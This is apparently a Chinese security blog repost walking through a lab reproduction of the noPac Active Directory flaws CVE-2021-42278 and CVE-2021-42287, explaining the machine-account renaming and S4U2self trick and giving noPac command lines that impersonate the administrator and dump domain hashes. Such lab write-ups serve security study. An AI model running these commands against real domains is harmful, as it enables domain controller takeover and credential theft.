漏洞简介
CVE-2021-42278
机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
CVE-2021-42287
当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
利用流程
假如域内有一台域控名为 DC01(域控对应的机器用户为 DC01$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 xiaoxin,再把机器用户 xiaoxin 的 sAMAccountName 改成 DC01。然后利用 DC01 去申请一个TGT票据。再把 DC01 的sAMAccountName 改回来 xiaoxin。这个时候 KDC 就会判断域内没有 DC01 这个用户,自动去搜索 DC01$(DC01$是域控DC01 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC01 的 ST 票据,最终获得域控制器DC的权限。
漏洞环境
该漏洞复现环境是红日二靶场搭建的,拓扑如下
主机名字 | IP |
DC.de1ay.com | 10.10.10.10 |
root kali | 10.10.10.128 |
需要用到的工具
漏洞利用工具:noPac
https://github.com/Ridter/noPac
网络协议工具:impacket
https://github.com/SecureAuthCorp/impacket
漏洞复现
该漏洞需要搜集到的数据是:
-
一个域用户账号密码
-
域控ip地址和域控名字
直接进行exp的使用
python3 noPac.py 域名字/域用户 :'域用户密码' -dc-ip 域控ip地址 -dc-host 域控名字 --impersonate administrator -dump -use-ldap
python3 noPac.py de1ay.com/mssql:'1qaz@WSX' -dc-ip 10.10.10.10 -dc-host DC --impersonate administrator -dump -use-ldap
python3 noPac.py de1ay.com/mssql:'1qaz@WSX' -dc-ip 10.10.10.10 -dc-host DC --impersonate administrator -dump -use-ldap
成功提权。
- End -
原文始发于微信公众号(NS Demon团队):【漏洞复现】CVE-2021-42287&CVE-2021-42278 域提权漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论